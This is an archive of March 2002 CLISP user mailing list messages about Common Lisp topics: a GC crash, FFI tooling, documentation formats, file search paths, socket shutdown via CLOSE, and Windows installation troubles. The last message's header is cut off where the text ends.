Message-ID: <868440807.20020328205402@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP stack & hash tables (9nines crash on MS-Windows) In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 02:54:11 2002 X-Original-Date: Thu, 28 Mar 2002 20:54:02 +1000 Hi, Wednesday, March 27, 2002, 11:56:17 PM, you wrote: Joerg-Cyril> Arseny Slobodjuck wrote: >>Thus, it is not a crash, but a nice stack overflow handling. Joerg-Cyril> You seem to forget that in my initial mail I reported that using Joerg-Cyril> (EXT:SPACE (9nines)) causes a program crash. It's not nice in any way. Yes, I forgot this. Anyway, I think, the matter is in the GC, so actual progress is deferred to the time when I'll understand how GC works (or somebody else will fix it). Now my knowledge about GC algorithms is very weak. Links are welcome. I heard Cohen-1981 is good, but cannot find it in pdf or ps. Thanks for the regexps (didn't test yet) ! -- Best regards, Arseny mailto:ampy@ich.dvo.ru From marcoxa@cs.nyu.edu Thu Mar 28 05:15:28 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qZkU-00080u-00 for ; Thu, 28 Mar 2002 05:15:26 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g2SDFN103547; Thu, 28 Mar 2002 08:15:23 -0500 Message-Id: <200203281315.g2SDFN103547@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: dan.stanger@ieee.org, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 27 Mar 2002 16:45:41 -0500) Subject: Re: [clisp-list] c-ptr nil vs c-pointer References: <200203271650.g2RGopq00923@mantis.privatei.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 05:16:08 2002 X-Original-Date: Thu, 28 Mar 2002 08:15:23 -0500 > Cc: clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > X-Original-Date: 27 Mar 2002 16:45:41 -0500 > Date: 27 Mar 2002 16:45:41 -0500 > Content-Length: 911 > > > * In message <200203271650.g2RGopq00923@mantis.privatei.com> > > * On the subject of "[clisp-list] c-ptr nil vs c-pointer" > > * Sent on Wed, 27 Mar 2002 09:50:51 -0700 (MST) > > * Honorable dan.stanger@ieee.org writes: > > > > I am modifying cparse, written by Tim Moore to produce clisp ffi code > > rather than cmucl foreign code. > > This is very interesting. > Did you consider SWIG? > The advantage of cparse is to be "Fully Lisp". A very interesting project would be to be able to produce UFFI specs from CParse. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From amoroso@mclink.it Thu Mar 28 07:39:22 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qbzj-0001xt-00 for ; Thu, 28 Mar 2002 07:39:20 -0800 Received: from net145-039.mclink.it (net145-039.mclink.it [195.110.145.39]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g2SFdEY10463 for ; Thu, 28 Mar 2002 16:39:14 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Seeking place for CLISP documentation Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <3CA25FC1.CF9051C5@freenet.de> <20020328061252.A148@localhost.localdomain> In-Reply-To: <20020328061252.A148@localhost.localdomain> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 07:40:05 2002 X-Original-Date: Thu, 28 Mar 2002 16:39:05 +0100 On Thu, 28 Mar 2002 06:12:52 +0100, Peter Wood wrote: > I advocate the use of plain text for documentation: You can easily generate a plain text version of the CLISP impnotes with the Lynx browser. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From Christian.Schuhegger@cern.ch Thu Mar 28 07:47:44 2002 Received: from smtp3.cern.ch ([137.138.131.164]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qc7p-0003Zv-00 for ; Thu, 28 Mar 2002 07:47:41 -0800 Received: from cern.ch (pcitco48.cern.ch [137.138.62.140]) by smtp3.cern.ch (8.12.1/8.12.1) with ESMTP id g2SFlXag026461; Thu, 28 Mar 2002 16:47:33 +0100 (MET) X-Authentication-Warning: smtp3.cern.ch: Host pcitco48.cern.ch [137.138.62.140] claimed to be cern.ch Message-ID: <3CA33B15.CA11D300@cern.ch> From: Christian Schuhegger X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] how to find a file in a search path? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 07:48:11 2002 X-Original-Date: Thu, 28 Mar 2002 16:47:33 +0100 hello, i have a question on how to find a file in a search path like: (#P"C:\\lppeii\\obj\\fasl\\**\\" #P"C:\\lppeii\\src\\**\\" #P"C:" #P"C:\\CLISP\\**\\") obviously the implementation has a way to do this, because "require", "load", "open", ... find files in the searchpath. but is there a function that i can use like: (locate-file "lppe-language.lisp") -> #P"C:\\lppeii\\src\\core\\lppe-language.lisp" many thanks for any comments! -- Christian Schuhegger From will@misconception.org.uk Thu Mar 28 08:01:43 2002 Received: from mail3.svr.pol.co.uk ([195.92.193.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qcLO-0006ri-00 for ; Thu, 28 Mar 2002 08:01:42 -0800 Received: from modem-571.arbok.dialup.pol.co.uk ([217.135.18.59] helo=there) by mail3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16qcLL-0004Cm-00 for clisp-list@lists.sourceforge.net; Thu, 28 Mar 2002 16:01:40 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Seeking place for CLISP documentation X-Mailer: KMail [version 1.3.2] References: <3CA25FC1.CF9051C5@freenet.de> <20020328061252.A148@localhost.localdomain> In-Reply-To: <20020328061252.A148@localhost.localdomain> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 08:02:07 2002 X-Original-Date: Thu, 28 Mar 2002 16:02:00 +0000 On Thursday 28 Mar 2002 5:12 am, Peter Wood wrote: > I advocate the use of plain text for documentation: But then we have to decide whether to use UNIX style text, MSDOS style text or MacOS style text! Really, text is not great for documentation - it has no page breaks, so is not great to print, it can contain no images to help explain concepts, it has no formatting so text is dense and hard to navigate. DocBook is OK, but is a pain to use. I would reccomend Latex if you are trying to produce something like a manual. For a simple note or README plain text is fine though. From samuel.steingold@verizon.net Thu Mar 28 15:57:56 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qjmE-0008Kd-00 for ; Thu, 28 Mar 2002 15:57:54 -0800 Received: from gnu.org ([151.203.48.85]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020328235747.CAGG2777.out011.verizon.net@gnu.org>; Thu, 28 Mar 2002 17:57:47 -0600 To: Christian Schuhegger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] how to find a file in a search path? References: <3CA33B15.CA11D300@cern.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CA33B15.CA11D300@cern.ch> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 15:58:13 2002 X-Original-Date: 28 Mar 2002 18:58:15 -0500 > * In message <3CA33B15.CA11D300@cern.ch> > * On the subject of "[clisp-list] how to find a file in a search path?" > * Sent on Thu, 28 Mar 2002 16:47:33 +0100 > * Honorable Christian Schuhegger writes: > > i have a question on how to find a file in a search path like: > (#P"C:\\lppeii\\obj\\fasl\\**\\" #P"C:\\lppeii\\src\\**\\" #P"C:" > #P"C:\\CLISP\\**\\") > > obviously the implementation has a way to do this, because "require", > "load", "open", ... find files in the searchpath. but is there a > function that i can use like: > (locate-file "lppe-language.lisp") > -> > #P"C:\\lppeii\\src\\core\\lppe-language.lisp" what do you need this for? clisp has sys::search-file in init.lisp - this is internal, unexported &c, you use it at your own risk. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Never underestimate the power of stupid people in large groups. From samuel.steingold@verizon.net Thu Mar 28 16:02:06 2002 Received: from out010pub.verizon.net ([206.46.170.133] helo=out010.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qjqG-0001Ex-00 for ; Thu, 28 Mar 2002 16:02:04 -0800 Received: from gnu.org ([151.203.48.85]) by out010.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020329000156.CCEK1257.out010.verizon.net@gnu.org> for ; Thu, 28 Mar 2002 18:01:56 -0600 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] how do i make clisp compile to a parallel directory hierarchy? References: <3CA1FA42.6972824A@cern.ch> <3CA33D63.27EAF26B@cern.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CA33D63.27EAF26B@cern.ch> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 16:03:03 2002 X-Original-Date: 28 Mar 2002 19:02:24 -0500 > * In message <3CA33D63.27EAF26B@cern.ch> > * On the subject of "Re: [clisp-list] how do i make clisp compile to a parallel directory hierarchy?" > * Sent on Thu, 28 Mar 2002 16:57:23 +0100 > * Honorable Christian Schuhegger writes: > > Sam Steingold wrote: > > Please try the appended patch. > > (Everyone who relies on REQUIRE should try it!) did anyone else test it? > there is a bug: > > + (if *compile-file-directory* > this should be: > > + (if (not *compile-file-directory*) thanks. > and then it works, but only partially. you want a full-blown system management. REQUIRE ain't that. PS. please do not move this into private e-mail. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! PI seconds is a nanocentury From samuel.steingold@verizon.net Thu Mar 28 16:03:38 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qjrl-0001rq-00 for ; Thu, 28 Mar 2002 16:03:37 -0800 Received: from gnu.org ([151.203.48.85]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020329000329.CCGI1346.out012.verizon.net@gnu.org>; Thu, 28 Mar 2002 18:03:29 -0600 To: lin8080 Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Seeking place for CLISP documentation References: <3CA25FC1.CF9051C5@freenet.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CA25FC1.CF9051C5@freenet.de> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 16:04:15 2002 X-Original-Date: 28 Mar 2002 19:03:57 -0500 > * In message <3CA25FC1.CF9051C5@freenet.de> > * On the subject of "Re: [clisp-list] Seeking place for CLISP documentation" > * Sent on Thu, 28 Mar 2002 01:11:45 +0100 > * Honorable lin8080 writes: > > > Impnotes _is_ the correct place for all documentation about CLISP. > > Oh, please. Impnotes.html - 1.076.849 bytes. are you aware of ? CLISP documentation should go with CLISP documentation. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If I had known that it was harmless, I would have killed it myself. From samuel.steingold@verizon.net Thu Mar 28 16:09:55 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qjxp-0003rN-00 for ; Thu, 28 Mar 2002 16:09:53 -0800 Received: from gnu.org ([151.203.48.85]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020329001012.EOWQ22801.out007.verizon.net@gnu.org>; Thu, 28 Mar 2002 18:10:12 -0600 To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] shutdown(2) & sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 16:10:27 2002 X-Original-Date: 28 Mar 2002 19:10:19 -0500 Todd (?) asked for shutdown(2) for sockets. I want to add a keyword arg :DIRECTION to CLOSE. then (close 2way-stream :direction :in) is the same as (close (two-way-input-stream 2way-stream)) and (close socket :direction in) is the same as shutdown(handle(socket),SHUT_RD); do people like the interface? I don't think this breaks ANSI "too much". in CLISP the "official signature" of the generic function CLOSE is already (stream &rest args). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Even Windows doesn't suck, when you use Common Lisp From ampy@ich.dvo.ru Thu Mar 28 16:28:28 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qkFa-0001GV-00 for ; Thu, 28 Mar 2002 16:28:15 -0800 Received: (qmail 1948 invoked from network); 29 Mar 2002 00:28:02 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 29 Mar 2002 00:28:02 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Fri, 29 Mar 2002 10:27:16 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <6336739956.20020329102715@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Subject: [clisp-list] install Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 16:29:02 2002 X-Original-Date: Fri, 29 Mar 2002 10:27:15 +1000 Hi, For Stefan and those who experience trouble with install.bat in windows 95/98 - you may download install.bat and install.lisp from CVS tree (you may use web browser for this - see http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/src/) and try it. -- New, user - friendly interface (y-or-n-p). -- Works both in clisp source directory and in distrib directory. -- Associates .fas, .mem, .lsp, .lisp, .cl with clisp. -- Fixed line-separators in install.bat. -- WBR, Arseny From peter.wood@worldonline.dk Thu Mar 28 22:50:03 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qqD3-0006ZJ-00 for ; Thu, 28 Mar 2002 22:50:01 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id D8E8EB562 for ; Fri, 29 Mar 2002 07:49:57 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2T6bBI16757; Fri, 29 Mar 2002 07:37:11 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020329073711.A16686@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] configure bu... feature Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 22:51:01 2002 X-Original-Date: Fri, 29 Mar 2002 07:37:11 +0100 Hi, Specifying --with-noreadline to configure results in a suggestion to 'makemake --with-noreadline --with-readline [etc] > Makefile' which is plainly nonsense. Regards, Peter From pjb@arcangel.dircon.co.uk Fri Mar 29 09:20:59 2002 Received: from mta07-svc.ntlworld.com ([62.253.162.47]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16r03d-0007Y9-00 for ; Fri, 29 Mar 2002 09:20:57 -0800 Received: from proxyplus.universe ([62.255.74.45]) by mta07-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020329172052.YQMC7757.mta07-svc.ntlworld.com@proxyplus.universe> for ; Fri, 29 Mar 2002 17:20:52 +0000 Received: from 127.0.0.1 by Proxy+; Fri, 29 Mar 2002 09:33:21 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Curious about Makefile rules References: <20607.1017257756@www50.gmx.net> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Sam Steingold's message of "27 Mar 2002 16:02:44 -0500" Message-ID: Lines: 20 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 29 09:21:04 2002 X-Original-Date: 29 Mar 2002 09:33:20 +0000 Sam Steingold writes: > > * In message <20607.1017257756@www50.gmx.net> > > * On the subject of "[clisp-list] Curious about Makefile rules" > > * Sent on Wed, 27 Mar 2002 20:35:56 +0100 (MET) > > * Honorable Scott Williams writes: > > > > %.c : %d > > $(COMMENT5) $< | $(ANSIDECL) | $(VARBRACE) > $*.c > > the Makefile is generated, so it is cheap to add a separate rule > per-file. > OTOH, make(1) utilities are wildly incompatible wrt such rules, so I am > pretty sure we _have_ to use explicit rules for full portability. We do. For example, if memory serves me, AMU (Acorn Make Utility) is braindead and only accepts certain extensions in rules. I'm sure I could never get it to accept a rule for .d files, among others. Peter From samuel.steingold@verizon.net Fri Mar 29 09:21:54 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16r04V-0007pS-00 for ; Fri, 29 Mar 2002 09:21:51 -0800 Received: from gnu.org ([151.203.48.85]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020329172150.RZJY13286.out019.verizon.net@gnu.org>; Fri, 29 Mar 2002 11:21:50 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] configure bu... feature References: <20020329073711.A16686@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020329073711.A16686@localhost.localdomain> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 29 09:22:07 2002 X-Original-Date: 29 Mar 2002 12:22:20 -0500 > * In message <20020329073711.A16686@localhost.localdomain> > * On the subject of "[clisp-list] configure bu... feature" > * Sent on Fri, 29 Mar 2002 07:37:11 +0100 > * Honorable Peter Wood writes: > > Specifying --with-noreadline to configure results in a suggestion to > 'makemake --with-noreadline --with-readline [etc] > Makefile' > which is plainly nonsense. what about --without-readline? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Even Windows doesn't suck, when you use Common Lisp From lin8080@freenet.de Fri Mar 29 11:11:41 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16r1mm-0002Bm-00 for ; Fri, 29 Mar 2002 11:11:40 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #4) id 16r1mf-0003Ol-00 for clisp-list@lists.sourceforge.net; Fri, 29 Mar 2002 20:11:33 +0100 Received: from b77f4.pppool.de ([213.7.119.244] helo=freenet.de) by mx1.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16r1me-0000kT-00 for clisp-list@lists.sourceforge.net; Fri, 29 Mar 2002 20:11:33 +0100 Message-ID: <3CA4828E.D6E827EA@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Subject: [clisp-list] win32 - testing228 part2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 29 11:12:06 2002 X-Original-Date: Fri, 29 Mar 2002 16:04:46 +0100 Hallo After I have problemes with path-names during install the winzip with clisp 2.28 I delete all lisp from my hd (include the registry) and did a reboot. Then I extrakt the zip-file to c:\. This build a Path "c:\clisp-2.28" and extract all data there. Start lisp.exe via win-start and run c:\clisp-2.28\lisp.exe -M lispinit.mem Then I follow exactly the text in the readme.de (with no changes in config.lisp) and do a (compile-file "src/config.lisp"). This returned: ** - Continuable Error INTERN("FILE"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1.Break EXT[2]> continue Compilation of file C:\CLISP-2.28\src\config.fas is finished. 0 errors, 0 warnings #P"C:\\CLISP-2.28\\src\\config.fas" ; NIL ; NIL [3]> (load "src/config.fas") :: Loading file src\config.fas ... ** - Continuable Error DEFUN/DEFMACRO(SHORT-SITE-NAME): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1.Break EXT[4]> continue ** - Continuable Error DEFUN/DEFMACRO(LONG-SITE-NAME): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1.Break EXT[5]> continue ** - Continuable Error DEFUN/DEFMACRO(EDITOR-NAME): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1.Break EXT[6]> continue ** - Continuable Error DEFUN/DEFMACRO(EDITOR-TEMPFILE): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1.Break EXT[7]> continue ** - Continuable Error DEFUN/DEFMACRO(EDIT-FILE): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1.Break EXT[8]> continue ** - Continuable Error DEFUN/DEFMACRO(CLHS-ROOT): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1.Break EXT[9]> continue ;; Loading of file src\config.fas is finished. T [10]> (saveinitmem) [pathname.d:6265] *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified 1.Break [11]> abort [12]> *load-paths* (#P"C:" #P"C:\\CLISP\\**\\") [13]> (exit) This is nice :). Going back, (delete 1 registry-entry and the extracted files and reboot) to a new start-point and start install.bat, better execute the command: c:\clisp\lisp.exe -M lispinit.mem -norc -C src/install.lisp makes a nice icon on my desktop, doubleclick does open a msg-box: "cannot find the working folder for this programm ..." This was fixed manually (it uses old datas, the old paths were deleted) ... so after about 2 houers of playing around, I went outside, sun is shining. stefan From peter.wood@worldonline.dk Fri Mar 29 12:46:39 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16r3Gf-0006mw-00 for ; Fri, 29 Mar 2002 12:46:37 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 6390BB69B for ; Fri, 29 Mar 2002 21:46:33 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2TKXDF12121; Fri, 29 Mar 2002 21:33:13 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] configure bu... feature Message-ID: <20020329213313.A28616@localhost.localdomain> References: <20020329073711.A16686@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Fri, Mar 29, 2002 at 12:22:20PM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri 